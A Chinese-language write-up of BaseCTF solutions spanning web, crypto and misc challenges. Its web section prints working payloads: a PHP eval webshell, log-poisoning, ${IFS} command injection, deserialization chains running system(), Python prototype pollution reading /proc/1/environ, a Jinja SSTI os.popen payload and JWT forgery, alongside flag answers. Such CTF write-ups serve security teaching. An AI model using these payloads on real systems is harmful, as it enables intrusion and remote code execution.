Web

HTTP 是什么呀

本题考查基本的 http 的参数修改和基础 get，post 传参

首先使用 hackbar 插件将 get，post 和 cookie 值传入

然后抓包修改其他题目要求的参数得到 base 编码的字符，解码得到 flag

flag值：BaseCTF{98f2b129-f6ff-4027-991e-7545a499ea74}

喵喵喵´•ﻌ•`

无任何绕过的简单命令执行，先查看根目录，发现 flag，直接cat 拿到 flag

flag值：BaseCTF{197cd90c-ffc8-4fda-8b6b-a34e66314b1d}

md5绕过欸

本题要求 name 的值和 password 的值不相等但是他们的 md5 值要相等，可以使用数组绕过，name2 和 password2 也使用相同的方法绕过

1
2
3

http://challenge.basectf.fun:23519/?name[]=1&name2[]=3

password[]=2&password2[]=4

flag值：BaseCTF{e1f057ba-e68b-44ab-a946-f18620d14df9}

A Dark Room

查看源码，得到 flag

flag值：BaseCTF{c02fe0eb-f407-4c99-b5fc-3ca93d12a199}

upload

文件上传，没有任何绕过，直接上传最普通的一句话木马到服务器，蚁剑连接得到flag

先上传一个php一句话木马，如下

1	<?php @eval($_POST['a']); ?>

提示上传成功，源码上有上传路径，用蚁剑连接

连接上之后，使用蚁剑终端，查找得到flag,一般都会在根目录

flag值：BaseCTF{b9a49830-0533-410a-bfe0-45c5db2d9a5d}

Aura 酱的礼物

这题我是使用云服务器做的，不过也可以题目多开然后联动，哈哈

file_get_contents 函数可以读取url地址里面的内容，可以在自己云服务器里面设置一个文件1.txt，里面的内容就为 Aura，即可绕过第一层

第二层和第三层都是使用 challenge 参数，但是既要求 challenge 参数前面与 http://jasmineaura.github.io 相同，还要使 file_get_contents($challenge) 读取文件的内容为已经收到 Kengwang 的礼物啦

这就要利用到ssrf相关知识，在url地址后面使用@符号可以直接访问@后面的url地址使前面的失效，所以我们可以构造 http://jasmineaura.github.io@ip/2.txt 来绕过第二三层

最后使用伪协议读取 flag 就结束了

最终payload如下：

1	pen=http://ip/a.txt&challenge=http://jasmineaura.github.io@ip/b.txt&gift=php://filter/read=convert.base64-encode/resource=flag.php

base64 解码得到 flag

flag值：BaseCTF{5a7a67f0-369c-41e8-b691-40ed7ece5e55}

一起吃豆豆

翻js代码，得到一串base64编码字符串

base64解码，得到flag

flag值：BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

你听不到我的声音

源码如下：

1
2
3

 <?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

由于是shell_exec执行的命令，所以没有回显，使用重定相符将命令执行的结果发送到1.txt,再访问1.txt就能看到命令执行的结果

将cat /flag命令的内容写入1.txt，得到flag

flag值：BaseCTF{2232ebf2-919c-44d7-b3a1-4af6982c327a}

RCEisamazingwithspace

利用空格绕过进行命令执行，得到flag

1	cmd=cat${IFS}/flag

flag值：BaseCTF{8c64b947-00ad-4bfe-9bea-e17c33c3b978}

ez_ser

基础的反序列化，简单分析一下：

new一个web对象使反序列化后触发wakeup()魔术方法
将re类的对象赋值给kw属性，对象被当作属性访问触发tostring魔术方法
将pwn类的对象赋值给chu0，对象被当作函数调用触发get魔术方法
将Misc类的对象赋值给over，访问的就是Misc类里面的getflag函数了，成功执行命令

payload如下：

$payload=new web();
$payload->kw=new re();
$payload->kw->chu0=new pwn();
$payload->kw->chu0->over=new Misc();

echo serialize($payload);

# O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

flag值：BaseCTF{85b8d39f-0e2e-46e7-8fd8-306ced277cbf}

Really EZ POP

提示PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性，所以我们不能直接修改成员变量的属性，可以先修改为public，等序列化之后再修改回对应的属性。分析如下：

new一个Nature对象使php执行完成后触发__destruct()魔术方法
将Sea类的对象赋值给sea，访问一个对象的不可访问或不存在属性时触发get魔术方法
将Shark类的对象赋值给animal属性，对象被当作函数调用触发invoke魔术方法
将Sink类的对象赋值给word属性，对象被当作函数调用触发tostring魔术方法
将命令赋值给cmd即可进行命令执行
序列化之后再修改回对应的属性，比如属性word和cmd都是private，就在属性前面加上%00类名%00即可

payload如下：

1	nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:20:"system("cat /flag");";}}}}

flag值：BaseCTF{cfb4a2d7-971e-4456-a339-6a5587ef4052}

所以你说你懂 MD5?

源码如下：

 <?php
session_start();

// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

算是考察md5方面不错的一道题了，基本把md5的考点总结完了

第一层：md5强比较绕过，数组的md5值都是null，使用数组绕过

第二层：弱比较，要求类型为string，0e开头后面全是数字的字符的md5值相等，利用此特性绕过

第三层：强比较，网上寻找现成的payload，要求它们的内容不同，但md5值相同，或者自己碰撞，注意这里不知道为什么只能抓包修改，hackbar结果不对

第四层：哈希长度拓展攻击，使用脚本伪造即可

payload如下：

apple%5B%5D=1&banana%5B%5D=2&appple=s878926199a&bananana=s155964671a&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=1d40e894fdefe7ff8bf63b1ac69321cb

flag值：BaseCTF{7122180b-eb15-47f6-8d2d-68dd3df9995c}

数学大师

根据需求写脚本即可

简单分析一下：需要获取页面上的算式，计算之后通过post提交，再获取提交后得到的页面上的算式，再post提交，循环50次即可得到flag

import requests
import time
import re

url = "http://challenge.basectf.fun:28223/"

def fetch_and_calculate():
    with requests.Session() as s:
        # 第一次获取初始页面
        initial_response = s.get(url)
        if initial_response.status_code == 200:
            content = initial_response.text
            expression = extract_expression(content)
            if expression:
                result = calculate_expression(expression)
                print(f"Initial Expression: {expression}")
                print(f"Initial Result: {result}")

                # 开始循环
                for _ in range(1000):
                    post_response = s.post(url, data={'answer': result}, timeout=5)
                    if post_response.status_code == 200:
                        post_content = post_response.text
                        print(f"Post Response: {post_content}")

                        # 从POST响应中提取新的数学表达式
                        new_expression = extract_expression(post_content)
                        if new_expression:
                            result = calculate_expression(new_expression)
                            print(f"New Expression: {new_expression}")
                            print(f"New Result: {result}")

                    time.sleep(2)  # 每隔2秒尝试一次

def extract_expression(content):
    match = re.search(r'(-?\d+\s*[+-÷×]\s*-?\d+)', content)
    if match:
        expression = match.group(1)
        return expression.replace("×", "*").replace("÷", "//")
    return None

def calculate_expression(expression):
    return eval(expression)

# 启动循环
fetch_and_calculate()

flag值：BaseCTF{d0084018-5841-4dbd-8bd4-be2a6ceafcf6}

滤个不停

过滤了很多伪协议，使用日志文件包含获取flag

nginx的日志文件在 /var/log/nginx/access.log，先在UA头里写上一句话木马，然后包含日志文件使木马执行

再连接木马写入任意命令

flag值：BaseCTF{2cd503d1-e868-40a3-a2df-2b1f46188792}

玩原神玩的

第一层：判断传的数组是否和array数组大小相等，爆破大小绕过

第二层：传入我要玩原神即可

第三层：传入m数组，其中m[0]是字符串100%，m[1]是字符串love100%拼接m[0]的md5值。%要url编码

第四层：将给定的md5数组与当前索引异或，得到flag

payload如下：

len[0]=0&len[1]=0&len[2]=0&len[3]=0&len[4]=0&len[5]=0&len[6]=0&len[7]=0&len[8]=0&len[9]=0&len[10]=0&len[11]=0&len[12]=0&len[13]=0&len[14]=0&len[15]=0&len[16]=0&len[17]=0&len[18]=0&len[19]=0&len[20]=0&len[21]=0&len[22]=0&len[23]=0&len[24]=0&len[25]=0&len[26]=0&len[27]=0&len[28]=0&len[29]=0&len[30]=0&len[31]=0&len[32]=0&len[33]=0&len[34]=0&len[35]=0&len[36]=0&len[37]=0&len[38]=0&len[39]=0&len[40]=0&len[41]=0&len[42]=0&len[43]=0&len[44]=0&m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966

传入之后得到md5数组，写脚本异或并爆破md5值，得到flag，脚本如下：

from hashlib import md5

list = ["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","072b030ba126b2f4b2374f342be9ed44","2723d092b63885e0d7c260cc007e8b9d","72b32a1f754ba1c09b3695e0cb6cde7f","65b9eea6e1cc6bb9f0cd2a47751a186f","072b030ba126b2f4b2374f342be9ed44","9a1158154dfa42caddbd0694a4e9bdc8","66f041e16a60928b05a7e228a89c3799","03afdbd66e7929b125f8597834fa83a4","7f39f8317fbdb1988ef4c628eba02591","1c383cd30b7c298ab50293adfecb7b18","73278a4a86960eeb576a8fd4c9ec6997","7f6ffaa6bb0b408017b62254211691b5","a5771bce93e200c36f7cd9dfd0e5deaa","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","6364d3f0f495b6ab9dcf8d3b5c6e0b01","c8ffe9a587b126f152ed3d89a146b445","182be0c5cdcd5072bb1864cdee4d3d6e","b53b3a3d6ab90ce0268229151c9bde11","1c383cd30b7c298ab50293adfecb7b18","da4fb5c6e93e74d3df8527599fa62642","19ca14e7ea6328a42e0eb13d585e4c22","d645920e395fedad7bbbed0eca3fe2e0","c0c7c76d30bd3dcaefc96f40275bdc0a","c74d97b01eae257e44aa9d5bade97baf","e2c420d928d4bf8ce0ff2ec19b371514","b6d767d2f8ed5d21a44b0e5886680cb9","c74d97b01eae257e44aa9d5bade97baf","70efdf2ec9b086079795c442636b55fb","735b90b4568125ed6c3f678819b6e058","37693cfc748049e45d87b8c7d8b9aacd","34173cb38f07f89ddbebc2ac9128303f","c74d97b01eae257e44aa9d5bade97baf","34173cb38f07f89ddbebc2ac9128303f","d2ddea18f00665ce8623e36bd4e3c7c5","ad61ab143223efbc24c7d2583be69251","43ec517d68b6edd3015b3edc9a11367b"]

flag=''
for i in range(len(list)):
    for c in range(127):
        if(md5(str(c^i).encode()).hexdigest()==list[i]):
            flag+=chr(c)
            break
print(flag)

# BaseCTF{4d3b0940-2cc2-47d8-8d96-0f435f1987ca}

ez_php_jail

当 php版本小于8时，GET请求的参数名含有 . ，会被转为 _ ，但是如果参数名中有 [ ，这

个 [ 会被直接转为 _ ，但是后⾯如果有 . ，这个 . 就不会被转为 _ 。

过滤了几个常见的字符，phpinfo 查看可以看到禁用了很多函数

可以使用 highlight_file 绕过

1	?Jail[by.Happy=highlight_file(glob("/f*")[0]);

flag值：BaseCTF{5198e2bf-e639-4689-b88c-2df13659e475}

No JWT

考察 jwt 伪造

import requests
import jwt
import datetime

# 服务器地址
url = 'http://challenge.basectf.fun:36757/'

# 登录请求
login_url = f'{url}/login'
login_data = {
    'username': 'your_username',
    'password': 'your_password'
}
login_headers = {'Content-Type': 'application/json'}

# 发送登录请求
login_response = requests.post(login_url, json=login_data, headers=login_headers)
login_response_json = login_response.json()

# 获取 JWT
token = login_response_json.get('token')
print(token)

将获取到的 token 进行伪造，这里没有密钥，可以直接修改

将生成的 token 放进去，发送到flag地址，获取flag

new_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ5b3VyX3VzZXJuYW1lIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzI2Mzg2Mjk0fQ.1N3PpqBQmbSAlHrsAm2dC3TVg59UH2cw0t12-l4ZZ4Y"

# 请求 /flag 接口
flag_url = f'{url}/flag'
flag_headers = {
    'Authorization': f'Bearer {new_token}',
    'Content-Type': 'application/json'
}

# 发送请求
flag_response = requests.get(flag_url, headers=flag_headers)

# 打印响应
print(flag_response.json())

flag值：BaseCTF{a77d20b6-2197-4d9a-a7d2-1fb3fe1c4ded}

flag直接读取不就行了？

考察php原生类利用

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了，所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);

先使用原生类DirectoryIterator遍历目录找到flag所在位置

再用SplFileObject遍历读取文件每一行，得到flag

flag值：BaseCTF{b1d30f40-2f69-49ed-a7a4-1b229315ad1b}

1z_php

第一层：参数构造和上面某题一样，传参带上小数即可绕过

第二层：回溯次数绕过，超过preg_match所能匹配的极限

第三层：原生类利用+php伪协议绕过

payload如下:

1	?e[m.p=114514.2&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets

post利用回溯次数绕过即可，代码生成如下：

1 2	str = 'a'*10000000 + 'HACKER' print(str)

base64解码得到flag

flag值：BaseCTF{164c6c84-05f3-4631-8911-268e59addce9}

Back to the future

考察git泄露，使用工具githacker

1	githacker --url http://challenge.basectf.fun:32333/.git/ --output-folder result

将git文件下载下来，只有一个readme文件，使用git log命令查看历史记录，再使用 git checkout hash值恢复文件

flag值：BaseCTF{1aa62024-5a12-4f55-80fa-cb9c41e1154b}

圣钥之战1.0

访问read路由阅读源码，发现是python原型链污染的题，只要修改全局变量的值就能读取flag

将payload通过post方式提交到pollute路由修改全局变量的值为环境变量，访问全局变量得到环境变量里的payload

脚本如下：

import requests
import json

# 构造污染原型链的 JSON 请求
payload= {
	"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": { # 在check中可以看到有black_list,__init__被过滤了，使用unioncode进行绕过
		"__globals__" : {
			"__file__": "../../../proc/1/environ" # 大部分的flag都隐藏在环境变量中
		}
	}
}

# 将 payload 转换为 JSON 字符串
json_payload = json.dumps(payload)

# 发送 POST 请求到 /pollute 路由
response = requests.post(
    "http://challenge.basectf.fun:41643/pollute",
    data=json_payload,
    headers={"Content-Type": "application/json"}
)

# 打印响应
print(response.text)

url2 = "http://challenge.basectf.fun:41643/read"
response2 = requests.get(url2)
print(response2.text)

flag值：BaseCTF{353f4e5b-7a6b-432d-9816-c72675ecee6f}

Jinja Mark

访问/flag路由，提示要post提交一个四位数，使用burp爆破数值爆破

爆破得到一个长度不一样的，发现有东西，还是python原型链污染

题目源码：

BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

我们只需要将全局变量BLACKLIST_IN_index的值进行修改，就可以使用ssti来进行模版注入了，脚本如下

import requests
import json

# 目标URL
url = "http://challenge.basectf.fun:42857/magic"

# 构造包含特殊键的 JSON 数据
payload = {
    "__class__":{
        "__init__":{
            "__globals__":{
                "BLACKLIST_IN_index" : []
            }
        }
    }
}

# 将 JSON 数据转换为字符串
payload_json = json.dumps(payload)
print(payload_json)

# 发送 POST 请求
response = requests.post(url, data=payload_json, headers={'Content-Type': 'application/json'})

# 打印响应内容
print("Status Code:", response.status_code)
print("Response Content:", response.text)

运行结束后，就可以在index路由进行模版注入了，payload如下：

1	{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

flag值：BaseCTF{92a7831e-9c70-4585-b1bf-b8652b9ccf4a}

Crypto

babypack

考察背包密码系统，DASCTF夏季赛也出过类似的题，脚本如下：

from Crypto.Util.number import long_to_bytes

# 已知 a 数组和 c
a= 省略具体值
c= 省略具体值

# 逆推明文 m
bin_m = ''
for value in a:
    if c >= value:
        bin_m += '1'
        c -= value
    else:
        bin_m += '0'

# 将二进制字符串转换为长整数
m = int(bin_m, 2)

# 将长整数转换为字节串
flag = long_to_bytes(m)

print("flag:", flag)

flag: b'BaseCTF{2c4b0c15-3bee-4e4a-be6e-0f21e44bd4c9}'

flag值：BaseCTF{2c4b0c15-3bee-4e4a-be6e-0f21e44bd4c9}

babyrsa

根据题目可知，n是素数，n的欧拉为n-1而不是(p-1)(q-1)，脚本如下：

import libnum

n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
phi_n = n - 1
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832


#求逆元
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m)
#数字转字节，转字符串
print(libnum.n2s(int(m)).decode())

# BaseCTF{7d7c90ae-1127-4170-9e0d-d796efcd305b}

flag值：BaseCTF{7d7c90ae-1127-4170-9e0d-d796efcd305b}

十七倍

隔壁moectf逆向进阶讲的例子刚好是这个数，可以直接用

原理也很简单，模运算乘法逆元，在实数域运算中，flag[i] * 17 = cipher[i]，flag[i] = cipher[i] / 17 是不准确的，会导致精度丢失，需要乘除数的逆元再模256，17的逆元是241

脚本如下：

list_1 = [ 98, 113, 163, 181, 115, 148, 166,  43, 9, 95,
165, 146,  79, 115, 146, 233, 112, 180,  48,  79,
 65, 181, 113, 146,  46, 249,  78, 183,  79, 133,
180, 113, 146, 148, 163,  79,  78,  48, 231,  77]
for i in list_1:
    flag = i * 241 % 256
    print(chr(flag),end="")

flag值：BaseCTF{yoUr_CrYpt0_1earNinG_5tarTs_n0w}

helloCrypto

AES解密，一般我习惯先把密文和keybase64编码一下看着舒服，然后直接使用在线工具求解，需要注意加密模式和题目上的相同，别选错了

flag值：BaseCTF{b80bf679-1869-4fde-b3f9-d51b872d31fb}

ez_rsa

利用初中或者高中的知识，可以根据n和not_phi得到phi，不过注意不过注意最后除二要取整，否则得出的数不是整数会报错

import libnum

n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
e = 65537

phi_n = (3*n - not_phi + 6) // 2
#求逆元
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m)
#数字转字节，转字符串
print(libnum.n2s(int(m)).decode())

# BaseCTF{it_1s_ez!!}

flag值：BaseCTF{it_1s_ez!!}

你会算md5吗

分析题目，本题把flag每个字符的提取出来进行md5加密，以列表形式输出，我们只需要对每个字符md5爆破就能得到flag，脚本如下：

import hashlib

output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']

for target_md5 in output:

    for x in range(0, 127):
        # 将单个字符转换成字节串
        single_char = chr(x).encode('utf-8')
        # 计算该字节串的MD5哈希值
        hash_object = hashlib.md5(single_char)
        # 获取哈希值的十六进制形式
        hex_digest = hash_object.hexdigest()

        if hex_digest == target_md5:
            print(f"{chr(x)}",end="")

# BaseCTF{a4bf43a5-3ff9-4764-bda2-af8ee4db9a8a}

flag值：BaseCTF{a4bf43a5-3ff9-4764-bda2-af8ee4db9a8a}

Misc

你也喜欢圣物吗

考点：base编码，lsb隐写，伪加密

解题思路：图片首先放入010查看，发现文件尾部有base64编码，用cyberchef解码

提示lsb隐写，用stegslove打开得到key，这就是压缩包密码，打开压缩包

打开后下面是一层伪加密，使用随波逐流修改伪加密，得到flag,注意文件里面第一个flag是假的，往下翻会看到第二个base编码的flag，解码得到真正的flag

flag值：BaseCTF{1u0_q1_x1_51k1}

根本进不去啊!

阿里云检测网站可以直接查到dns的解析记录，得到flag

flag：BaseCTF{h0h0_th1s_15_dns_rec0rd}

海上遇到了鲨鱼

wireshark打开流量包，过滤http请求，查看最后一个访问flag.php的响应包，得到逆序的flag

写一个逆序的小脚本，运行得到flag

flag = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"
print(flag[::-1])

# BaseCTF{15ef386b-a3a7-7344-3b05-ac367316fb76}

flag值：BaseCTF{15ef386b-a3a7-7344-3b05-ac367316fb76}

正着看还是反着看呢？

010打开文件，观察字节规律发现文件是jpg和zip压缩包的字节逆序，写脚本将文件字节进行逆序

脚本如下：

with open(r"C:\Users\atlan\Downloads\flag", "rb") as fi:
    flag = fi.read()[::-1]

# Open the text file in write mode
with open(r"C:\Users\atlan\Downloads\flag.jpg", "wb") as fo:
    fo.write(flag)